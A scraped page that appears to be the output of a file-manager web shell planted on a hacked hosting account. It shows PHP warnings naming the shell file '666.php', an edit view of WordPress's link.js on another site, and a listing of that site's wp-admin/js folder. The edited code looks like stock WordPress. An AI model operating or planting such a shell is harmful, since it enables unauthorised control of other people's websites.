??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/monicslandscape.co.uk/wp-admin/js/link.js
⬅ Kembali
/**
* @output wp-admin/js/link.js
*/
/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */
jQuery( function($) {
var newCat, noSyncChecks = false, syncChecks, catAddAfter;
$('#link_name').trigger( 'focus' );
// Postboxes.
postboxes.add_postbox_toggles('link');
/**
* Adds event that opens a particular category tab.
*
* @ignore
*
* @return {boolean} Always returns false to prevent the default behavior.
*/
$('#category-tabs a').on( 'click keyup keydown', function( event ){
var t = $(this).attr('href');
if ( event.type === 'keydown' && event.key === ' ' ) {
event.preventDefault();
}
if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) {
event.preventDefault();
$('#category-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' );
$(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' );
$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
$('.tabs-panel').hide();
$(t).show();
if ( '#categories-all' == t ) {
deleteUserSetting('cats');
} else {
setUserSetting('cats','pop');
}
return false;
}
if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) {
$(this).attr( 'tabindex', '-1' );
let next = $(this).parent('li').next();
let prev = $(this).parent('li').prev();
if ( next.length > 0 ) {
next.find('a').removeAttr( 'tabindex');
next.find('a').trigger( 'focus' );
} else {
prev.find('a').removeAttr( 'tabindex');
prev.find('a').trigger( 'focus' );
}
}
});
if ( getUserSetting('cats') )
$('#category-tabs a[href="#categories-pop"]').trigger( 'click' );
// Ajax Cat.
newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );
/**
* After adding a new category, focus on the category add input field.
*
* @return {void}
*/
$('#link-category-add-submit').on( 'click', function() { newCat.focus(); } );
/**
* Synchronize category checkboxes.
*
* This function makes sure that the checkboxes are synced between the all
* categories tab and the most used categories tab.
*
* @since 2.5.0
*
* @return {void}
*/
syncChecks = function() {
if ( noSyncChecks )
return;
noSyncChecks = true;
var th = $(this), c = th.is(':checked'), id = th.val().toString();
$('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
noSyncChecks = false;
};
/**
* Adds event listeners to an added category.
*
* This is run on the addAfter event to make sure the correct event listeners
* are bound to the DOM elements.
*
* @since 2.5.0
*
* @param {string} r Raw XML response returned from the server after adding a
* category.
* @param {Object} s List manager configuration object; settings for the Ajax
* request.
*
* @return {void}
*/
catAddAfter = function( r, s ) {
$(s.what + ' response_data', r).each( function() {
var t = $($(this).text());
t.find( 'label' ).each( function() {
var th = $(this),
val = th.find('input').val(),
id = th.find('input')[0].id,
name = th.text().trim(),
o;
$('#' + id).on( 'change', syncChecks );
o = $( '<option value="' + parseInt( val, 10 ) + '"></option>' ).text( name );
} );
} );
};
/*
* Instantiates the list manager.
*
* @see js/_enqueues/lib/lists.js
*/
$('#categorychecklist').wpList( {
// CSS class name for alternate styling.
alt: '',
// The type of list.
what: 'link-category',
// ID of the element the parsed Ajax response will be stored in.
response: 'category-ajax-response',
// Callback that's run after an item got added to the list.
addAfter: catAddAfter
} );
// All categories is the default tab, so we delete the user setting.
$('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');});
// Set a preference for the popular categories to cookies.
$('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');});
if ( 'pop' == getUserSetting('cats') )
$('a[href="#categories-pop"]').trigger( 'click' );
/**
* Adds event handler that shows the interface controls to add a new category.
*
* @ignore
*
* @param {Event} event The event object.
* @return {boolean} Always returns false to prevent regular link
* functionality.
*/
$('#category-add-toggle').on( 'click', function() {
$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
$('#category-tabs a[href="#categories-all"]').trigger( 'click' );
$('#newcategory').trigger( 'focus' );
return false;
} );
$('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' );
});
Nama
Tipe
Ukuran
Diubah
Aksi
📁 widgets
dir
—
2026-05-28 06:14
📄 .htaccess
htaccess
420 B
2026-05-28 06:14
📜 accordion.js
js
2.9 KB
2024-10-13 19:09
📜 accordion.min.js
js
758 B
2025-02-06 17:27
📜 application-passwords.js
js
6.2 KB
2023-09-17 22:51
📜 application-passwords.min.js
js
3 KB
2025-02-06 17:27
📜 auth-app.js
js
5.7 KB
2021-02-23 19:45
📜 auth-app.min.js
js
2 KB
2025-02-06 17:27
📜 code-editor.js
js
17.5 KB
2026-05-21 21:11
📜 code-editor.min.js
js
3.5 KB
2026-05-21 21:11
📜 color-picker.js
js
9.5 KB
2021-03-18 19:01
📜 color-picker.min.js
js
3.4 KB
2025-02-06 17:27
📜 comment.js
js
2.9 KB
2024-02-11 19:14
📜 comment.min.js
js
1.3 KB
2022-04-08 20:07
📜 common.js
js
61.3 KB
2026-05-21 21:11
📜 common.min.js
js
23.2 KB
2026-05-21 21:11
📜 custom-background.js
js
3.4 KB
2021-03-18 19:01
📜 custom-background.min.js
js
1.2 KB
2025-02-06 17:27
📜 custom-header.js
js
2 KB
2021-02-23 19:45
📜 customize-controls.js
js
288.4 KB
2025-12-04 02:50
📜 customize-controls.min.js
js
109.7 KB
2025-12-04 02:50
📜 customize-nav-menus.js
js
111.5 KB
2025-12-04 02:50
📜 customize-nav-menus.min.js
js
47.1 KB
2025-12-04 02:50
📜 customize-widgets.js
js
70 KB
2024-06-21 18:17
📜 customize-widgets.min.js
js
27.4 KB
2025-02-06 17:27
📜 dashboard.js
js
27 KB
2025-03-16 19:40
📜 dashboard.min.js
js
8.7 KB
2025-03-16 19:40
📜 edit-comments.js
js
37.2 KB
2026-05-21 21:11
📜 edit-comments.min.js
js
15.2 KB
2026-05-21 21:11
📜 editor-expand.js
js
41.6 KB
2024-04-12 17:47
📜 editor-expand.min.js
js
13.1 KB
2025-02-06 17:27
📜 editor.js
js
44 KB
2025-12-04 02:50
📜 editor.min.js
js
12.8 KB
2025-12-04 02:50
📜 farbtastic.js
js
7.7 KB
2023-07-17 22:03
📜 gallery.js
js
5.4 KB
2023-10-09 21:31
📜 gallery.min.js
js
3.7 KB
2023-10-09 21:31
📜 image-edit.js
js
40 KB
2024-08-28 16:45
📜 image-edit.min.js
js
15.2 KB
2025-02-06 17:27
📜 inline-edit-post.js
js
20.2 KB
2026-05-21 21:11
📜 inline-edit-post.min.js
js
9.4 KB
2026-05-21 21:11
📜 inline-edit-tax.js
js
7.6 KB
2021-03-18 19:01
📜 inline-edit-tax.min.js
js
2.9 KB
2025-02-06 17:27
📜 iris.min.js
js
23.1 KB
2021-11-03 19:40
📜 language-chooser.js
js
890 B
2021-02-23 19:45
📜 language-chooser.min.js
js
423 B
2021-02-23 19:45
📜 link.js
js
4.8 KB
2026-05-21 21:11
📜 link.min.js
js
2.3 KB
2026-05-21 21:11
📜 media-gallery.js
js
1.3 KB
2021-02-23 19:45
📜 media-gallery.min.js
js
611 B
2022-04-08 20:07
📜 media-upload.js
js
3.4 KB
2021-01-22 12:32
📜 media-upload.min.js
js
1.1 KB
2025-02-06 17:27
📜 media.js
js
6.6 KB
2024-10-07 02:49
📜 media.min.js
js
2.4 KB
2025-02-06 17:27
📜 nav-menu.js
js
61.1 KB
2025-12-04 02:50
📜 nav-menu.min.js
js
30.1 KB
2025-12-04 02:50
📜 password-strength-meter.js
js
4.1 KB
2021-01-22 12:32
📜 password-strength-meter.min.js
js
1.1 KB
2025-02-06 17:27
📜 password-toggle.js
js
1.3 KB
2023-06-23 23:09
📜 password-toggle.min.js
js
847 B
2025-02-06 17:27
📜 plugin-install.js
js
6.9 KB
2021-03-18 19:01
📜 plugin-install.min.js
js
2.3 KB
2023-02-02 16:36
📜 post.js
js
39.5 KB
2026-05-21 21:11
📜 post.min.js
js
19 KB
2026-05-21 21:11
📜 postbox.js
js
18.5 KB
2025-03-16 19:40
📜 postbox.min.js
js
6.6 KB
2025-03-16 19:40
📜 privacy-tools.js
js
10.7 KB
2024-06-21 18:17
📜 privacy-tools.min.js
js
5 KB
2024-06-21 18:17
📜 revisions.js
js
33.9 KB
2024-10-13 20:49
📜 revisions.min.js
js
18 KB
2025-02-06 17:27
📜 set-post-thumbnail.js
js
876 B
2020-07-07 18:55
📜 set-post-thumbnail.min.js
js
620 B
2020-07-07 18:55
📜 site-health.js
js
13.6 KB
2026-05-21 21:11
📜 site-health.min.js
js
6.3 KB
2026-05-21 21:11
📜 site-icon.js
js
6.1 KB
2024-08-23 22:47
📜 site-icon.min.js
js
2.2 KB
2025-02-06 17:27
📜 svg-painter.js
js
3.2 KB
2024-09-07 22:44
📜 svg-painter.min.js
js
1.5 KB
2025-02-06 17:27
📜 tags-box.js
js
10.9 KB
2021-03-18 19:01
📜 tags-box.min.js
js
3 KB
2025-02-06 17:27
📜 tags-suggest.js
js
5.6 KB
2024-02-18 22:16
📜 tags-suggest.min.js
js
2.2 KB
2025-02-06 17:27
📜 tags.js
js
6 KB
2025-12-04 02:50
📜 tags.min.js
js
2.4 KB
2025-12-04 02:50
📜 theme-plugin-editor.js
js
25.6 KB
2026-05-21 21:11
📜 theme-plugin-editor.min.js
js
11.8 KB
2026-05-21 21:11
📜 theme.js
js
54.9 KB
2025-12-04 02:50
📜 theme.min.js
js
26.5 KB
2025-12-04 02:50
📜 updates.js
js
109.4 KB
2025-12-04 02:50
📜 updates.min.js
js
47.3 KB
2025-12-04 02:50
📜 user-profile.js
js
17.9 KB
2025-12-04 02:50
📜 user-profile.min.js
js
7.8 KB
2025-12-04 02:50
📜 user-suggest.js
js
2.2 KB
2021-03-18 19:01
📜 user-suggest.min.js
js
676 B
2025-02-06 17:27
📜 widgets.js
js
22.6 KB
2021-03-18 19:01
📜 widgets.min.js
js
12.3 KB
2025-02-06 17:27
📜 word-count.js
js
7.5 KB
2020-07-27 23:35
📜 word-count.min.js
js
1.5 KB
2025-02-06 17:27
📜 xfn.js
js
740 B
2021-03-18 19:01
📜 xfn.min.js
js
458 B
2021-03-18 19:01